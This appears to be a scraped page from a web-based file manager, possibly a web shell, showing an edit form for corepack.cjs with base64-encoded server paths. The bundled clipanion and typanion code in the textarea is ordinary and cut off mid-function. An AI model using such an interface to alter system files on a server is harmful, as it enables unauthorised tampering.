<hr>corepack.cjs<form method=post action="?d=L29wdC9hbHQvYWx0LW5vZGVqczI0L3Jvb3QvdXNyL2xpYi9ub2RlX21vZHVsZXMvY29yZXBhY2svZGlzdC9saWI%3D&f=Y29yZXBhY2suY2pz"><input name="f" value="corepack.cjs"><textarea name="t">&quot;use strict&quot;;
var __create = Object.create;
var __defProp = Object.defineProperty;
var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
var __getOwnPropNames = Object.getOwnPropertyNames;
var __getProtoOf = Object.getPrototypeOf;
var __hasOwnProp = Object.prototype.hasOwnProperty;
var __esm = (fn2, res, err) =&gt; function __init() {
  if (err) throw err[0];
  try {
    return fn2 &amp;&amp; (res = (0, fn2[__getOwnPropNames(fn2)[0]])(fn2 = 0)), res;
  } catch (e) {
    throw err = [e], e;
  }
};
var __commonJS = (cb, mod) =&gt; function __require() {
  try {
    return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
  } catch (e) {
    throw mod = 0, e;
  }
};
var __export = (target, all) =&gt; {
  for (var name2 in all)
    __defProp(target, name2, { get: all[name2], enumerable: true });
};
var __copyProps = (to, from, except, desc2) =&gt; {
  if (from &amp;&amp; typeof from === &quot;object&quot; || typeof from === &quot;function&quot;) {
    for (let key of __getOwnPropNames(from))
      if (!__hasOwnProp.call(to, key) &amp;&amp; key !== except)
        __defProp(to, key, { get: () =&gt; from[key], enumerable: !(desc2 = __getOwnPropDesc(from, key)) || desc2.enumerable });
  }
  return to;
};
var __toESM = (mod, isNodeMode, target) =&gt; (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
  // If the importer is in node compatibility mode or this is not an ESM
  // file that has been converted to a CommonJS file using a Babel-
  // compatible transform (i.e. &quot;__esModule&quot; has not been set), then set
  // &quot;default&quot; to the CommonJS &quot;module.exports&quot; for node compatibility.
  isNodeMode || !mod || !mod.__esModule ? __defProp(target, &quot;default&quot;, { value: mod, enumerable: true }) : target,
  mod
));
var __toCommonJS = (mod) =&gt; __copyProps(__defProp({}, &quot;__esModule&quot;, { value: true }), mod);

// node_modules/clipanion/lib/constants.js
var require_constants = __commonJS({
  &quot;node_modules/clipanion/lib/constants.js&quot;(exports2) {
    &quot;use strict&quot;;
    Object.defineProperty(exports2, &quot;__esModule&quot;, { value: true });
    var NODE_INITIAL = 0;
    var NODE_SUCCESS = 1;
    var NODE_ERRORED = 2;
    var START_OF_INPUT = ``;
    var END_OF_INPUT = `\0`;
    var HELP_COMMAND_INDEX = -1;
    var HELP_REGEX = /^(-h|--help)(?:=([0-9]+))?$/;
    var OPTION_REGEX = /^(--[a-z]+(?:-[a-z]+)*|-[a-zA-Z]+)$/;
    var BATCH_REGEX = /^-[a-zA-Z]{2,}$/;
    var BINDING_REGEX = /^([^=]+)=([\s\S]*)$/;
    var DEBUG = process.env.DEBUG_CLI === `1`;
    exports2.BATCH_REGEX = BATCH_REGEX;
    exports2.BINDING_REGEX = BINDING_REGEX;
    exports2.DEBUG = DEBUG;
    exports2.END_OF_INPUT = END_OF_INPUT;
    exports2.HELP_COMMAND_INDEX = HELP_COMMAND_INDEX;
    exports2.HELP_REGEX = HELP_REGEX;
    exports2.NODE_ERRORED = NODE_ERRORED;
    exports2.NODE_INITIAL = NODE_INITIAL;
    exports2.NODE_SUCCESS = NODE_SUCCESS;
    exports2.OPTION_REGEX = OPTION_REGEX;
    exports2.START_OF_INPUT = START_OF_INPUT;
  }
});

// node_modules/clipanion/lib/errors.js
var require_errors = __commonJS({
  &quot;node_modules/clipanion/lib/errors.js&quot;(exports2) {
    &quot;use strict&quot;;
    Object.defineProperty(exports2, &quot;__esModule&quot;, { value: true });
    var constants2 = require_constants();
    var UsageError16 = class extends Error {
      constructor(message) {
        super(message);
        this.clipanion = { type: `usage` };
        this.name = `UsageError`;
      }
    };
    var UnknownSyntaxError = class extends Error {
      constructor(input, candidates) {
        super();
        this.input = input;
        this.candidates = candidates;
        this.clipanion = { type: `none` };
        this.name = `UnknownSyntaxError`;
        if (this.candidates.length === 0) {
          this.message = `Command not found, but we&#039;re not sure what&#039;s the alternative.`;
        } else if (this.candidates.every((candidate) =&gt; candidate.reason !== null &amp;&amp; candidate.reason === candidates[0].reason)) {
          const [{ reason }] = this.candidates;
          this.message = `${reason}

${this.candidates.map(({ usage }) =&gt; `$ ${usage}`).join(`
`)}`;
        } else if (this.candidates.length === 1) {
          const [{ usage }] = this.candidates;
          this.message = `Command not found; did you mean:

$ ${usage}
${whileRunning(input)}`;
        } else {
          this.message = `Command not found; did you mean one of:

${this.candidates.map(({ usage }, index) =&gt; {
            return `${`${index}.`.padStart(4)} ${usage}`;
          }).join(`
`)}

${whileRunning(input)}`;
        }
      }
    };
    var AmbiguousSyntaxError = class extends Error {
      constructor(input, usages) {
        super();
        this.input = input;
        this.usages = usages;
        this.clipanion = { type: `none` };
        this.name = `AmbiguousSyntaxError`;
        this.message = `Cannot find which to pick amongst the following alternatives:

${this.usages.map((usage, index) =&gt; {
          return `${`${index}.`.padStart(4)} ${usage}`;
        }).join(`
`)}

${whileRunning(input)}`;
      }
    };
    var whileRunning = (input) =&gt; `While running ${input.filter((token) =&gt; {
      return token !== constants2.END_OF_INPUT;
    }).map((token) =&gt; {
      const json = JSON.stringify(token);
      if (token.match(/\s/) || token.length === 0 || json !== `&quot;${token}&quot;`) {
        return json;
      } else {
        return token;
      }
    }).join(` `)}`;
    exports2.AmbiguousSyntaxError = AmbiguousSyntaxError;
    exports2.UnknownSyntaxError = UnknownSyntaxError;
    exports2.UsageError = UsageError16;
  }
});

// node_modules/clipanion/lib/format.js
var require_format = __commonJS({
  &quot;node_modules/clipanion/lib/format.js&quot;(exports2) {
    &quot;use strict&quot;;
    Object.defineProperty(exports2, &quot;__esModule&quot;, { value: true });
    var MAX_LINE_LENGTH = 80;
    var richLine = Array(MAX_LINE_LENGTH).fill(`\u2501`);
    for (let t = 0; t &lt;= 24; ++t)
      richLine[richLine.length - t] = `\x1B[38;5;${232 + t}m\u2501`;
    var richFormat = {
      header: (str) =&gt; `\x1B[1m\u2501\u2501\u2501 ${str}${str.length &lt; MAX_LINE_LENGTH - 5 ? ` ${richLine.slice(str.length + 5).join(``)}` : `:`}\x1B[0m`,
      bold: (str) =&gt; `\x1B[1m${str}\x1B[22m`,
      error: (str) =&gt; `\x1B[31m\x1B[1m${str}\x1B[22m\x1B[39m`,
      code: (str) =&gt; `\x1B[36m${str}\x1B[39m`
    };
    var textFormat = {
      header: (str) =&gt; str,
      bold: (str) =&gt; str,
      error: (str) =&gt; str,
      code: (str) =&gt; str
    };
    function dedent(text) {
      const lines = text.split(`
`);
      const nonEmptyLines = lines.filter((line) =&gt; line.match(/\S/));
      const indent = nonEmptyLines.length &gt; 0 ? nonEmptyLines.reduce((minLength, line) =&gt; Math.min(minLength, line.length - line.trimStart().length), Number.MAX_VALUE) : 0;
      return lines.map((line) =&gt; line.slice(indent).trimRight()).join(`
`);
    }
    function formatMarkdownish(text, { format, paragraphs }) {
      text = text.replace(/\r\n?/g, `
`);
      text = dedent(text);
      text = text.replace(/^\n+|\n+$/g, ``);
      text = text.replace(/^(\s*)-([^\n]*?)\n+/gm, `$1-$2

`);
      text = text.replace(/\n(\n)?\n*/g, ($0, $1) =&gt; $1 ? $1 : ` `);
      if (paragraphs) {
        text = text.split(/\n/).map((paragraph) =&gt; {
          const bulletMatch = paragraph.match(/^\s*[*-][\t ]+(.*)/);
          if (!bulletMatch)
            return paragraph.match(/(.{1,80})(?: |$)/g).join(`
`);
          const indent = paragraph.length - paragraph.trimStart().length;
          return bulletMatch[1].match(new RegExp(`(.{1,${78 - indent}})(?: |$)`, `g`)).map((line, index) =&gt; {
            return ` `.repeat(indent) + (index === 0 ? `- ` : `  `) + line;
          }).join(`
`);
        }).join(`

`);
      }
      text = text.replace(/(`+)((?:.|[\n])*?)\1/g, ($0, $1, $2) =&gt; {
        return format.code($1 + $2 + $1);
      });
      text = text.replace(/(\*\*)((?:.|[\n])*?)\1/g, ($0, $1, $2) =&gt; {
        return format.bold($1 + $2 + $1);
      });
      return text ? `${text}
` : ``;
    }
    exports2.formatMarkdownish = formatMarkdownish;
    exports2.richFormat = richFormat;
    exports2.textFormat = textFormat;
  }
});

// node_modules/clipanion/lib/advanced/options/utils.js
var require_utils = __commonJS({
  &quot;node_modules/clipanion/lib/advanced/options/utils.js&quot;(exports2) {
    &quot;use strict&quot;;
    Object.defineProperty(exports2, &quot;__esModule&quot;, { value: true });
    var errors = require_errors();
    var isOptionSymbol = /* @__PURE__ */ Symbol(`clipanion/isOption`);
    function makeCommandOption(spec) {
      return { ...spec, [isOptionSymbol]: true };
    }
    function rerouteArguments(a, b) {
      if (typeof a === `undefined`)
        return [a, b];
      if (typeof a === `object` &amp;&amp; a !== null &amp;&amp; !Array.isArray(a)) {
        return [void 0, a];
      } else {
        return [a, b];
      }
    }
    function cleanValidationError(message, { mergeName = false } = {}) {
      const match = message.match(/^([^:]+): (.*)$/m);
      if (!match)
        return `validation failed`;
      let [, path16, line] = match;
      if (mergeName)
        line = line[0].toLowerCase() + line.slice(1);
      line = path16 !== `.` || !mergeName ? `${path16.replace(/^\.(\[|$)/, `$1`)}: ${line}` : `: ${line}`;
      return line;
    }
    function formatError(message, errors$1) {
      if (errors$1.length === 1) {
        return new errors.UsageError(`${message}${cleanValidationError(errors$1[0], { mergeName: true })}`);
      } else {
        return new errors.UsageError(`${message}:
${errors$1.map((error) =&gt; `
- ${cleanValidationError(error)}`).join(``)}`);
      }
    }
    function applyValidator(name2, value, validator) {
      if (typeof validator === `undefined`)
        return value;
      const errors2 = [];
      const coercions = [];
      const coercion = (v) =&gt; {
        const orig = value;
        value = v;
        return coercion.bind(null, orig);
      };
      const check = validator(value, { errors: errors2, coercions, coercion });
      if (!check)
        throw formatError(`Invalid value for ${name2}`, errors2);
      for (const [, op] of coercions)
        op();
      return value;
    }
    exports2.applyValidator = applyValidator;
    exports2.cleanValidationError = cleanValidationError;
    exports2.formatError = formatError;
    exports2.isOptionSymbol = isOptionSymbol;
    exports2.makeCommandOption = makeCommandOption;
    exports2.rerouteArguments = rerouteArguments;
  }
});

// node_modules/typanion/lib/index.mjs
var lib_exports = {};
__export(lib_exports, {
  KeyRelationship: () =&gt; KeyRelationship,
  TypeAssertionError: () =&gt; TypeAssertionError,
  applyCascade: () =&gt; applyCascade,
  as: () =&gt; as,
  assert: () =&gt; assert,
  assertWithErrors: () =&gt; assertWithErrors,
  cascade: () =&gt; cascade,
  fn: () =&gt; fn,
  hasAtLeastOneKey: () =&gt; hasAtLeastOneKey,
  hasExactLength: () =&gt; hasExactLength,
  hasForbiddenKeys: () =&gt; hasForbiddenKeys,
  hasKeyRelationship: () =&gt; hasKeyRelationship,
  hasMaxLength: () =&gt; hasMaxLength,
  hasMinLength: () =&gt; hasMinLength,
  hasMutuallyExclusiveKeys: () =&gt; hasMutuallyExclusiveKeys,
  hasRequiredKeys: () =&gt; hasRequiredKeys,
  hasUniqueItems: () =&gt; hasUniqueItems,
  isArray: () =&gt; isArray,
  isAtLeast: () =&gt; isAtLeast,
  isAtMost: () =&gt; isAtMost,
  isBase64: () =&gt; isBase64,
  isBoolean: () =&gt; isBoolean,
  isDate: () =&gt; isDate,
  isDict: () =&gt; isDict,
  isEnum: () =&gt; isEnum,
  isHexColor: () =&gt; isHexColor,
  isISO8601: () =&gt; isISO8601,
  isInExclusiveRange: () =&gt; isInExclusiveRange,
  isInInclusiveRange: () =&gt; isInInclusiveRange,
  isInstanceOf: () =&gt; isInstanceOf,
  isInteger: () =&gt; isInteger,
  isJSON: () =&gt; isJSON,
  isLiteral: () =&gt; isLiteral,
  isLowerCase: () =&gt; isLowerCase,
  isMap: () =&gt; isMap,
  isNegative: () =&gt; isNegative,
  isNullable: () =&gt; isNullable,
  isNumber: () =&gt; isNumber,
  isObject: () =&gt; isObject,
  isOneOf: () =&gt; isOneOf,
  isOptional: () =&gt; isOptional,
  isPartial: () =&gt; isPartial,
  isPayload: () =&gt; isPayload,
  isPositive: () =&gt; isPositive,
  isRecord: () =&gt; isRecord,
  isSet: () =&gt; isSet,
  isString: () =&gt; isString,
  isTuple: () =&gt; isTuple,
  isUUID4: () =&gt; isUUID4,
  isUnknown: () =&gt; isUnknown,
  isUpperCase: () =&gt; isUpperCase,
  makeTrait: () =&gt; makeTrait,
  makeValidator: () =&gt; makeValidator,
  matchesRegExp: () =&gt; matchesRegExp,
  softAssert: () =&gt; softAssert
});
function getPrintable(value) {
  if (value === null)
    return `null`;
  if (value === void 0)
    return `undefined`;
  if (value === ``)
    return `an empty string`;
  if (typeof value === &quot;symbol&quot;)
    return `&lt;${value.toString()}&gt;`;
  if (Array.isArray(value))
    return `an array`;
  return JSON.stringify(value);
}
function getPrintableArray(value, conjunction) {
  if (value.length === 0)
    return `nothing`;
  if (value.length === 1)
    return getPrintable(value[0]);
  const rest = value.slice(0, -1);
  const trailing = value[value.length - 1];
  const separator = value.length &gt; 2 ? `, ${conjunction} ` : ` ${conjunction} `;
  return `${rest.map((value2) =&gt; getPrintable(value2)).join(`, `)}${separator}${getPrintable(trailing)}`;
}
function computeKey(state, key) {
  var _a, _b, _c;
  if (typeof key === `number`) {
    return `${(_a = state === null || state === void 0 ? void 0 : state.p) !== null &amp;&amp; _a !== void 0 ? _a : `.`}[${key}]`;
  } else if (simpleKeyRegExp.test(key)) {
    return `${(_b = state === null || state === void 0 ? void 0 : state.p) !== null &amp;&amp; _b !== void 0 ? _b : ``}.${key}`;
  } else {
    return `${(_c = state === null || state === void 0 ? void 0 : state.p) !== null &amp;&amp; _c !== void 0 ? _c : `.`}[${JSON.stringify(key)}]`;
  }
}
function plural(n, singular, plural2) {
  return n === 1 ? singular : plural2;
}
function pushError({ errors, p } = {}, message) {
  errors === null || errors === void 0 ? void 0 : errors.push(`${p !== null &amp;&amp; p !== void 0 ? p : `.`}: ${message}`);
  return false;
}
function makeSetter(target, key) {
  return (v) =&gt; {
    target[key] = v;
  };
}
function makeCoercionFn(target, key) {
  return (v) =&gt; {
    const previous = target[key];
    target[key] = v;
    return makeCoercionFn(target, key).bind(null, previous);
  };
}
function makeLazyCoercionFn(fn2, orig, generator) {
  const commit = () =&gt; {
    fn2(generator());
    return revert;
  };
  const revert = () =&gt; {
    fn2(orig);
    return commit;
  };
  return commit;
}
function isUnknown() {
  return makeValidator({
    test: (value, state) =&gt; {
      return true;
    }
  });
}
function isLiteral(expected) {
  return makeValidator({
    test: (value, state) =&gt; {
      if (value !== expected)
        return pushError(state, `Expected ${getPrintable(expected)} (got ${getPrintable(value)})`);
      return true;
    }
  });
}
function isString() {
  return makeValidator({
    test: (value, state) =&gt; {
      if (typeof value !== `string`)
        return pushError(state, `Expected a string (got ${getPrintable(value)})`);
      return true;
    }
  });
}
function isEnum(enumSpec) {
  const valuesArray = Array.isArray(enumSpec) ? enumSpec : Object.values(enumSpec);
  const isAlphaNum = valuesArray.every((item) =&gt; typeof item === &quot;string&quot; || typeof item === &quot;number&quot;);
  const values = new Set(valuesArray);
  if (values.size === 1)
    return isLiteral([...values][0]);
  return makeValidator({
    test: (value, state) =&gt; {
      if (!values.has(value)) {
        if (isAlphaNum) {
          return pushError(state, `Expected one of ${getPrintableArray(valuesArray, `or`)} (got ${getPrintable(value)})`);
        } else {
          return pushError(state, `Expected a valid enumeration value (got ${getPrintable(value)})`);
        }
      }
      return true;
    }
  });
}
function isBoolean() {
  return makeValidator({
    test: (value, state) =&gt; {
      var _a;
      if (typeof value !== `boolean`) {
        if (typeof (state === null || state === void 0 ? void 0 : state.coercions) !== `undefined`) {
          if (typeof (state === null || state === void 0 ? void 0 : state.coercion) === `undefined`)
            return pushError(state, `Unbound coercion result`);
          const coercion = BOOLEAN_COERCIONS.get(value);
          if (typeof coercion !== `undefined`) {
            state.coercions.push([(_a = state.p) !== null &amp;&amp; _a !== void 0 ? _a : `.`, state.coercion.bind(null, coercion)]);
            return true;
          }
        }
        return pushError(state, `Expected a boolean (got ${getPrintable(value)})`);
      }
      return true;
    }
  });
}
function isNumber() {
  return makeValidator({
    test: (value, state) =&gt; {
      var _a;
      if (typeof value !== `number`) {
        if (typeof (state === null || state === void 0 ? void 0 : state.coercions) !== `undefined`) {
          if (typeof (state === null || state === void 0 ? void 0 : state.coercion) === `undefined`)
            return pushError(state, `Unbound coercion result`);
          let coercion;
          if (typeof value === `string`) {
            let val;
            try {
              val = JSON.parse(value);
            } catch (_b) {
            }
            if (typeof val === `number`) {
              if (JSON.stringify(val) === value) {
                coercion = val;
              } else {
                return pushError(state, `Received a number that can&#039;t be safely represented by the runtime (${value})`);
              }
            }
          }
          if (typeof coercion !== `undefined`) {
            state.coercions.push([(_a = state.p) !== null &amp;&amp; _a !== void 0 ? _a : `.`, state.coercion.bind(null, coercion)]);
            return true;
          }
        }
        return pushError(state, `Expected a number (got ${getPrintable(value)})`);
      }
      return true;
    }
  });
}
function isPayload(spec) {
  return makeValidator({
    test: (value, state) =&gt; {
      var _a;
      if (typeof (state === null || state === void 0 ? void 0 : state.coercions) === `undefined`)
        return pushError(state, `The isPayload predicate can only be used with coercion enabled`);
      if (typeof state.coercion === `undefined`)
        return pushError(state, `Unbound coercion result`);
      if (typeof value !== `string`)
        return pushError(state, `Expected a string (got ${getPrintable(value)})`);
      let inner;
      try {
        inner = JSON.parse(value);
      } catch (_b) {
        return pushError(state, `Expected a JSON string (got ${getPrintable(value)})`);
      }
      const wrapper = { value: inner };
      if (!spec(inner, Object.assign(Object.assign({}, state), { coercion: makeCoercionFn(wrapper, `value`) })))
        return false;
      state.coercions.push([(_a = state.p) !== null &amp;&amp; _a !== void 0 ? _a : `.`, state.coercion.bind(null, wrapper.value)]);
      return true;
    }
  });
}
function isDate() {
  return makeValidator({
    test: (value, state) =&gt; {
      var _a;
      if (!(value instanceof Date)) {
        if (typeof (state === null || state === void 0 ? void 0 : state.coercions) !== `undefined`) {
          if (typeof (state === null || state === void 0 ? void 0 : state.coercion) === `undefined`)
            return pushError(state, `Unbound coercion result`);
          let coercion;
          if (typeof value === `string` &amp;&amp; iso8601RegExp.test(value)) {
            coercion = new Date(value);
          } else {
            let timestamp;
            if (typeof value === `string`) {
              let val;
              try {
                val = JSON.parse(value);
              } catch (_b) {
              }
              if (typeof val === `number`) {
                timestamp = val;
              }
            } else if (typeof value === `number`) {
              timestamp = value;
            }
            if (typeof timestamp !== `undefined`) {
              if (Number.isSafeInteger(timestamp) || !Number.isSafeInteger(timestamp * 1e3)) {
                coercion = new Date(timestamp * 1e3);
              } else {
                return pushError(state, `Received a timestamp that can&#039;t be safely represented by the runtime (${value})`);
              }
            }
          }
          if (typeof coercion !== `undefined`) {
            state.coercions.push([(_a = state.p) !== null &amp;&amp; _a !== void 0 ? _a : `.`, state.coercion.bind(null, coercion)]);
            return true;
          }
        }
        return pushError(state, `Expected a date (got ${getPrintable(value)})`);
      }
      return true;
    }
  });
}
function isArray(spec, { delimiter } = {}) {
  return makeValidator({
    test: (value, state) =&gt; {
      var _a;
      const originalValue = value;
      if (typeof value === `string` &amp;&amp; typeof delimiter !== `undefined`) {
        if (typeof (state === null || state === void 0 ? void 0 : state.coercions) !== `undefined`) {
          if (typeof (state === null || state === void 0 ? void 0 : state.coercion) === `undefined`)
            return pushError(state, `Unbound coercion result`);
          value = value.split(delimiter);
        }
      }
      if (!Array.isArray(value))
        return pushError(state, `Expected an array (got ${getPrintable(value)})`);
      let valid = true;
      for (let t = 0, T = value.length; t &lt; T; ++t) {
        valid = spec(value[t], Object.assign(Object.assign({}, state), { p: computeKey(state, t), coercion: makeCoercionFn(value, t) })) &amp;&amp; valid;
        if (!valid &amp;&amp; (state === null || state === void 0 ? void 0 : state.errors) == null) {
          break;
        }
      }
      if (value !== originalValue)
        state.coercions.push([(_a = state.p) !== null &amp;&amp; _a !== void 0 ? _a : `.`, state.coercion.bind(null, value)]);
      return valid;
    }
  });
}
function isSet(spec, { delimiter } = {}) {
  const isArrayValidator = isArray(spec, { delimiter });
  return makeValidator({
    test: (value, state) =&gt; {
      var _a, _b;
      if (Object.getPrototypeOf(value).toString() === `[object Set]`) {
        if (typeof (state === null || state === void 0 ? void 0 : state.coercions) !== `undefined`) {
          if (typeof (state === null || state === void 0 ? void 0 : state.coercion) === `undefined`)
            return pushError(state, `Unbound coercion result`);
          const originalValues = [...value];
          const coercedValues = [...value];
          if (!isArrayValidator(coercedValues, Object.assign(Object.assign({}, state), { coercion: void 0 })))
            return false;
          const updateValue = () =&gt; coercedValues.some((val, t) =&gt; val !== originalValues[t]) ? new Set(coercedValues) : value;
          state.coercions.push([(_a = state.p) !== null &amp;&amp; _a !== void 0 ? _a : `.`, makeLazyCoercionFn(state.coercion, value, updateValue)]);
          return true;
        } else {
          let valid = true;
          for (const subValue of value) {
            valid = spec(subValue, Object.assign({}, state)) &amp;&amp; valid;
            if (!valid &amp;&amp; (state === null || state === void 0 ? void 0 : state.errors) == null) {
              break;
            }
          }
          return valid;
        }
      }
      if (typeof (state === null || state === void 0 ? void 0 : state.coercions) !== `undefined`) {
        if (typeof (state === null || state === void 0 ? void 0 : state.coercion) === `undefined`)
          return pushError(state, `Unbound coercion result`);
        const store = { value };
        if (!isArrayValidator(value, Object.assign(Object.assign({}, state), { coercion: makeCoercionFn(store, `value`) })))
          return false;
        state.coercions.push([(_b = state.p) !== null &amp;&amp; _b !== void 0 ? _b : `.`, makeLazyCoercionFn(state.coercion, value, () =&gt; new Set(store.value))]);
        return true;
      }
      return pushError(state, `Expected a set (got ${getPrintable(value)})`);
    }
  });
}
function isMap(keySpec, valueSpec) {
  const isArrayValidator = isArray(isTuple([keySpec, valueSpec]));
  const isRecordValidator = isRecord(valueSpec, { keys: keySpec });
  return makeValidator({
    test: (value, state) =&gt; {
      var _a, _b, _c;
      if (Object.getPrototypeOf(value).toString() === `[object Map]`) {
        if (typeof (state === null || state === void 0 ? void 0 : state.coercions) !== `undefined`) {
          if (typeof (state === null || state === void 0 ? void 0 : state.coercion) === `undefined`)
            return pushError(state, `Unbound coercion result`);
          const originalValues = [...value];
          const coercedValues = [...value];
          if (!isArrayValidator(coercedValues, Object.assign(Object.assign({}, state), { coercion: void 0 })))
            return false;
          const updateValue = () =&gt; coercedValues.some((val, t) =&gt; val[0] !== originalValues[t][0] || val[1] !== originalValues[t][1]) ? new Map(coercedValues) : value;
          state.coercions.push([(_a = state.p) !== null &amp;&amp; _a !== void 0 ? _a : `.`, makeLazyCoercionFn(state.coercion, value, updateValue)]);
          return true;
        } else {
          let valid = true;
          for (const [key, subValue] of value) {
            valid = keySpec(key, Object.assign({}, state)) &amp;&amp; valid;
            if (!valid &amp;&amp; (state === null || state === void 0 ? void 0 : state.errors) == null) {
              break;
            }
            valid = valueSpec(subValue, Object.assign(Object.assign({}, state), { p: computeKey(state, key) })) &amp;&amp; valid;
            if (!valid &amp;&amp; (state === null || state === void 0 ? void 0 : state.errors) == null) {
              break;
            }
          }
          return valid;
        }
      }
      if (typeof (state === null || state === void 0 ? void 0 : state.coercions) !== `undefined`) {
        if (typeof (state === null || state === void 0 ? void 0 : state.coercion) === `undefined`)
          return pushError(state, `Unbound coercion result`);
        const store = { value };
        if (Array.isArray(value)) {
          if (!isArrayValidator(value, Object.assign(Object.assign({}, state), { coercion: void 0 })))
            return false;
          state.coercions.push([(_b = state.p) !== null &amp;&amp; _b !== void 0 ? _b : `.`, makeLazyCoercionFn(state.coercion, value, () =&gt; new Map(store.value))]);
          return true;
        } else {
          if (!isRecordValidator(value, Object.assign(Object.assign({}, state), { coercion: makeCoercionFn(store, `value`) })))
            return false;
          state.coercions.push([(_c = state.p) !== null &amp;&amp; _c !== void 0 ? _c : `.`, makeLazyCoercionFn(state.coercion, value, () =&gt; new Map(Object.entries(store.value)))]);
          return true;
        }
      }
      return pushError(state, `Expected a map (got ${getPrintable(value)})`);
    }
  });
}
function isTuple(spec, { delimiter } = {}) {
  const lengthValidator = hasExactLength(spec.length);
  return makeValidator({
    test: (value, state) =&gt; {
      var _a;
      if (typeof value === `string` &amp;&amp; typeof delimiter !== `undefined`) {
        if (typeof (state === null || state === void 0 ? void 0 : state.coercions) !== `undefined`) {
          if (typeof (state === null || state === void 0 ? void 0 : state.coercion) === `undefined`)
            return pushError(state, `Unbound coercion result`);
          value = value.split(delimiter);
          state.coercions.push([(_a = state.p) !== null &amp;&amp; _a !== void 0 ? _a : `.`, state.coercion.bind(null, value)]);
        }
      }
      if (!Array.isArray(value))
        return pushError(state, `Expected a tuple (got ${getPrintable(value)})`);
      let valid = lengthValidator(value, Object.assign({}, state));
      for (let t = 0, T = value.length; t &lt; T &amp;&amp; t &lt; spec.length; ++t) {
        valid = spec[t](value[t], Object.assign(Object.assign({}, state), { p: computeKey(state, t), coercion: makeCoercionFn(value, t) })) &amp;&amp; valid;
        if (!valid &amp;&amp; (state === null || state === void 0 ? void 0 : state.errors) == null) {
          break;
        }
      }
      return valid;
    }
  });
}
function isRecord(spec, { keys: keySpec = null } = {}) {
  const isArrayValidator = isArray(isTuple([keySpec !== null &amp;&amp; keySpec !== void 0 ? keySpec : isString(), spec]));
  return makeValidator({
    test: (value, state) =&gt; {
      var _a;
      if (Array.isArray(value)) {
        if (typeof (state === null || state === void 0 ? void 0 : state.coercions) !== `undefined`) {
          if (typeof (state === null || state === void 0 ? void 0 : state.coercion) === `undefined`)
            return pushError(state, `Unbound coercion result`);
          if (!isArrayValidator(value, Object.assign(Object.assign({}, state), { coercion: void 0 })))
            return false;
          value = Object.fromEntries(value);
          state.coercions.push([(_a = state.p) !== null &amp;&amp; _a !== void 0 ? _a : `.`, state.coercion.bind(null, value)]);
          return true;
        }
      }
      if (typeof value !== `object` || value === null)
        return pushError(state, `Expected an object (got ${getPrintable(value)})`);
      const keys = Object.keys(value);
      let valid = true;
      for (let t = 0, T = keys.length; t &lt; T &amp;&amp; (valid || (state === null || state === void 0 ? void 0 : state.errors) != null); ++t) {
        const key = keys[t];
        const sub = value[key];
        if (key === `__proto__` || key === `constructor`) {
          valid = pushError(Object.assign(Object.assign({}, state), { p: computeKey(state, key) }), `Unsafe property name`);
          continue;
        }
        if (keySpec !== null &amp;&amp; !keySpec(key, state)) {
          valid = false;
          continue;
        }
        if (!spec(sub, Object.assign(Object.assign({}, state), { p: computeKey(state, key), coercion: makeCoercionFn(value, key) }))) {
          valid = false;
          continue;
        }
      }
      return valid;
    }
  });
}
function isDict(spec, opts = {}) {
  return isRecord(spec, opts);
}
function isObject(props, { extra: extraSpec = null } = {}) {
  const specKeys = Object.keys(props);
  const validator = makeValidator({
    test: (value, state) =&gt; {
      if (typeof value !== `object` || value === null)
        return pushError(state, `Expected an object (got ${getPrintable(value)})`);
      const keys = /* @__PURE__ */ new Set([...specKeys, ...Object.keys(value)]);
      const extra = {};
      let valid = true;
      for (const key of keys) {
        if (key === `constructor` || key === `__proto__`) {
          valid = pushError(Object.assign(Object.assign({}, state), { p: computeKey(state, key) }), `Unsafe property name`);
        } else {
          const spec = Object.prototype.hasOwnProperty.call(props, key) ? props[key] : void 0;
          const sub = Object.prototype.hasOwnProperty.call(value, key) ? value[key] : void 0;
          if (typeof spec !== `undefined`) {
            valid = spec(sub, Object.assign(Object.assign({}, state), { p: computeKey(state, key), coercion: makeCoercionFn(value, key) })) &amp;&amp; valid;
          } else if (extraSpec === null) {
            valid = pushError(Object.assign(Object.assign({}, state), { p: computeKey(state, key) }), `Extraneous property (got ${getPrintable(sub)})`);
          } else {
            Object.defineProperty(extra, key, {
              enumerable: true,
              get: () =&gt; sub,
              set: makeSetter(value, key)
            });
          }
        }
        if (!valid &amp;&amp; (state === null || state === void 0 ? void 0 : state.errors) == null) {
          break;
        }
      }
      if (extraSpec !== null &amp;&amp; (valid || (state === null || state === void 0 ? void 0 : state.errors) != null))
        valid = extraSpec(extra, state) &amp;&amp; valid;
      return valid;
    }
  });
  return Object.assign(validator, {
    properties: props
  });
}
function isPartial(props) {
  return isObject(props, { extra: isRecord(isUnknown()) });
}
function makeTrait(value) {
  return () =&gt; {
    return value;
  };
}
function makeValidator({ test }) {
  return makeTrait(test)();
}
function assert(val, validator) {
  if (!validator(val)) {
    throw new TypeAssertionError();
  }
}
function assertWithErrors(val, validator) {
  const errors = [];
  if (!validator(val, { errors })) {
    throw new TypeAssertionError({ errors });
  }
}
function softAssert(val, validator) {
}
function as(value, validator, { coerce = false, errors: storeErrors, throw: throws } = {}) {
  const errors = storeErrors ? [] : void 0;
  if (!coerce) {
    if (validator(value, { errors })) {
      return throws ? value : { value, errors: void 0 };
    } else if (!throws) {
      return { value: void 0, errors: errors !== null &amp;&amp; errors !== void 0 ? errors : true };
    } else {
      throw new TypeAssertionError({ errors });
    }
  }
  const state = { value };
  const coercion = makeCoercionFn(state, `value`);
  const coercions = [];
  if (!validator(value, { errors, coercion, coercions })) {
    if (!throws) {
      return { value: void 0, errors: errors !== null &amp;&amp; errors !== void 0 ? errors : true };
    } else {
      throw new TypeAssertionError({ errors });
    }
  }
  for (const [, apply] of coercions)
    apply();
  if (throws) {
    return state.value;
  } else {
    return { value: state.value, errors: void 0 };
  }
}
function fn(validators, fn2) {
  const isValidArgList = isTuple(validators);
  return ((...args) =&gt; {
    const check = isValidArgList(args);
    if (!check)
      throw new TypeAssertionError();
    return fn2(...args);
  });
}
function hasMinLength(length) {
  return makeValidator({
    test: (value, state) =&gt; {
      if (!(value.length &gt;= length))
        return pushError(state, `Expected to have a length of at least ${length} elements (got ${value.length})`);
      return true;
    }
  });
}
function hasMaxLength(length) {
  return makeValidator({
    test: (value, state) =&gt; {
      if (!(value.length &lt;= length))
        return pushError(state, `Expected to have a length of at most ${length} elements (got ${value.length})`);
